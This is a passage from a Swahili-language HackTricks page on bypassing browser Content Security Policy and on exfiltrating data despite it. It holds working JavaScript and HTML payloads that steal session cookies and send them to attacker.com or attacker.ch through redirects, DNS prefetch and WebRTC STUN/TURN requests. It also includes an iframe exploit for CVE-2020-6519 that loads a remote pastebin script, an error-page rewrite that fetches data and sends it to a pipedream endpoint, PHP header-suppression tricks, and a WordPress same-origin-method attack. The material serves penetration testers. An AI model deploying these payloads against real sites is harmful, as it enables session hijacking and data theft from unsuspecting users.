CSP inaweza kufanywa kuwa na vizuizi zaidi kwa kutumia HTML meta tags na scripts za ndani zinaweza kuzuiliwa kuondoa ingizo linaloruhusu nonce zao na kuwezesha script maalum za ndani kupitia sha:

html
<meta
http-equiv="Content-Security-Policy"
content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';" />

JS exfiltration with Content-Security-Policy-Report-Only

Ikiwa unaweza kusababisha seva ijibu na kichwa Content-Security-Policy-Report-Only chenye thamani inayodhibitiwa na wewe (labda kwa sababu ya CRLF), unaweza kufanya ielekeze kwenye seva yako na ikiwa un fungia maudhui ya JS unayotaka kuhamasisha na <script> na kwa sababu ni uwezekano mkubwa unsafe-inline hairuhusiwi na CSP, hii itasababisha kosa la CSP na sehemu ya script (iliyokuwa na taarifa nyeti) itatumwa kwa seva kutoka Content-Security-Policy-Report-Only.

Kwa mfano angalia hii CTF writeup.

CVE-2020-6519

javascript
document.querySelector("DIV").innerHTML =
'<iframe src=\'javascript:var s = document.createElement("script");s.src = "https://pastebin.com/raw/dw5cWGK6";document.body.appendChild(s);\'></iframe>'

Kueneza Taarifa kwa CSP na Iframe

  • iframe inaundwa inayolenga URL (tuiite https://example.redirect.com) ambayo inaruhusiwa na CSP.
  • URL hii kisha inarejelea URL ya siri (mfano, https://usersecret.example2.com) ambayo hairuhusiwi na CSP.
  • Kwa kusikiliza tukio la securitypolicyviolation, mtu anaweza kukamata mali ya blockedURI. Mali hii inaonyesha jina la kikoa la URI iliyozuiwa, ikivuja jina la siri la kikoa ambacho URL ya awali ilirejelea.

Ni jambo la kuvutia kutambua kwamba vivinjari kama Chrome na Firefox vina tabia tofauti katika kushughulikia iframes kuhusiana na CSP, na kusababisha uvujaji wa taarifa nyeti kutokana na tabia isiyoeleweka.

Mbinu nyingine inahusisha kutumia CSP yenyewe ili kubaini subdomain ya siri. Njia hii inategemea algorithm ya kutafuta binary na kurekebisha CSP ili kujumuisha maeneo maalum ambayo yamezuiwa kwa makusudi. Kwa mfano, ikiwa subdomain ya siri ina wahusika wasiojulikana, unaweza kujaribu subdomains tofauti kwa kubadilisha mwelekeo wa CSP ili kuzuiya au kuruhusu subdomains hizi. Hapa kuna kipande kinachoonyesha jinsi CSP inaweza kuwekwa ili kuwezesha mbinu hii:

markdown
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev

Kwa kufuatilia ni maombi gani yanayozuiwa au kuruhusiwa na CSP, mtu anaweza kupunguza wahusika wanaowezekana katika subdomain ya siri, hatimaye kufichua URL kamili.

Mbinu zote zinatumia tofauti za utekelezaji wa CSP na tabia katika vivinjari, zikionyesha jinsi sera zinazodhaniwa kuwa salama zinaweza kwa bahati mbaya kuvuja taarifa nyeti.

Trick kutoka hapa.

Teknolojia Zisizo Salama za Kupita CSP

Makosa ya PHP wakati wa param nyingi

Kulingana na mbinu ya mwisho iliyozungumziwa katika video hii, kutuma param nyingi (1001 GET parameters ingawa unaweza pia kufanya hivyo na POST params na zaidi ya faili 20). header() yoyote iliyofafanuliwa katika msimbo wa wavuti wa PHP haitatumwa kwa sababu ya kosa ambalo hili litakusababisha.

Kupita kwa buffer ya majibu ya PHP

PHP inajulikana kwa kufanya buffering ya majibu hadi 4096 bytes kwa default. Hivyo, ikiwa PHP inaonyesha onyo, kwa kutoa data ya kutosha ndani ya onyo, majibu yatatumwa kabla ya CSP header, na kusababisha header ipuuzwe.
Kisha, mbinu inajumuisha kimsingi kujaza buffer ya majibu na onyo ili header ya CSP isitumwe.

Wazo kutoka hiki andiko.

Kuandika Upya Ukurasa wa Kosa

Kutoka hiki andiko inaonekana kama ilikuwa inawezekana kupita ulinzi wa CSP kwa kupakia ukurasa wa kosa (labda bila CSP) na kuandika upya maudhui yake.

javascript
a = window.open("/" + "x".repeat(4100))
setTimeout(function () {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`
}, 1000)

SOME + 'self' + wordpress

SOME ni mbinu inayotumia XSS (au XSS iliyo na mipaka) katika kiunganishi cha ukurasa ili kutumia viunganishi vingine vya asili moja. Hii inafanywa kwa kupakia kiunganishi kilichoharibika kutoka kwenye ukurasa wa mshambuliaji na kisha kuhuisha ukurasa wa mshambuliaji kwa kiunganishi halisi katika asili moja unayotaka kutumia. Kwa njia hii, kiunganishi kilichoharibika kinaweza kutumia opener kitu katika payload ili kufikia DOM ya kiunganishi halisi cha kutumia. Kwa maelezo zaidi angalia:

SOME - Same Origin Method Execution

Zaidi ya hayo, wordpress ina JSONP kiunganishi katika /wp-json/wp/v2/users/1?_jsonp=data ambacho kita reflekti data iliyotumwa katika matokeo (ikiwa na mipaka ya herufi, nambari na alama za nukta pekee).

Mshambuliaji anaweza kutumia kiunganishi hicho ili kuunda shambulio la SOME dhidi ya WordPress na kuingiza ndani ya <script src=/wp-json/wp/v2/users/1?_jsonp=some_attack></script> kumbuka kwamba script hii itakuwa imepakiwa kwa sababu inaruhusiwa na 'self'. Zaidi ya hayo, na kwa sababu WordPress imewekwa, mshambuliaji anaweza kutumia shambulio la SOME kupitia kiunganishi kilichoharibika callback ambacho kinapita CSP ili kutoa ruhusa zaidi kwa mtumiaji, kusakinisha plugin mpya...
Kwa maelezo zaidi kuhusu jinsi ya kutekeleza shambulio hili angalia https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/

CSP Exfiltration Bypasses

Ikiwa kuna CSP kali ambayo haitakuruhusu kuingiliana na seva za nje, kuna mambo kadhaa unaweza kufanya kila wakati ili kutoa taarifa hizo.

Location

Unaweza tu kuboresha eneo la kutuma kwa seva ya mshambuliaji taarifa za siri:

javascript
var sessionid = document.cookie.split("=")[1] + "."
document.location = "https://attacker.com/?" + sessionid

Meta tag

Unaweza kuelekeza kwa kuingiza meta tag (hii ni kuelekeza tu, hii haitavuja maudhui)

html
<meta http-equiv="refresh" content="1; http://attacker.com" />

DNS Prefetch

Ili kupakia kurasa kwa haraka, vivinjari vitakuwa vinatatua majina ya mwenyeji kuwa anwani za IP na kuyahifadhi kwa matumizi ya baadaye.
Unaweza kuonyesha kivinjari kutatua jina la mwenyeji mapema kwa: <link rel="dns-prefetch" href="something.com">

Unaweza kutumia tabia hii vibaya ili kuondoa taarifa nyeti kupitia maombi ya DNS:

javascript
var sessionid = document.cookie.split("=")[1] + "."
var body = document.getElementsByTagName("body")[0]
body.innerHTML =
body.innerHTML +
'<link rel="dns-prefetch" href="//' +
sessionid +
'attacker.ch">'

Njia nyingine:

javascript
const linkEl = document.createElement("link")
linkEl.rel = "prefetch"
linkEl.href = urlWithYourPreciousData
document.head.appendChild(linkEl)

Ili kuepuka hili kutokea, seva inaweza kutuma kichwa cha HTTP:

X-DNS-Prefetch-Control: off

tip

Inaonekana, mbinu hii haitumiki katika vivinjari visivyo na kichwa (bots)

WebRTC

Katika kurasa kadhaa unaweza kusoma kwamba WebRTC haiangalii sera ya connect-src ya CSP.

Kwa kweli unaweza leak taarifa kwa kutumia ombio la DNS. Angalia hii code:

javascript
;(async () => {
p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })
p.createDataChannel("")
p.setLocalDescription(await p.createOffer())
})()

Chaguo lingine:

javascript
var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);

CredentialsContainer

Popup ya akreditivu inatuma ombi la DNS kwa iconURL bila kuzuiliwa na ukurasa. Inafanya kazi tu katika muktadha salama (HTTPS) au kwenye localhost.

javascript
navigator.credentials.store(
new FederatedCredential({
id:"satoki",
name:"satoki",
provider:"https:"+your_data+"example.com",
iconURL:"https:"+your_data+"example.com"
})
)

Kuangalia Sera za CSP Mtandaoni

Kuunda CSP Kiotomatiki

https://csper.io/docs/generating-content-security-policy

Marejeleo

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks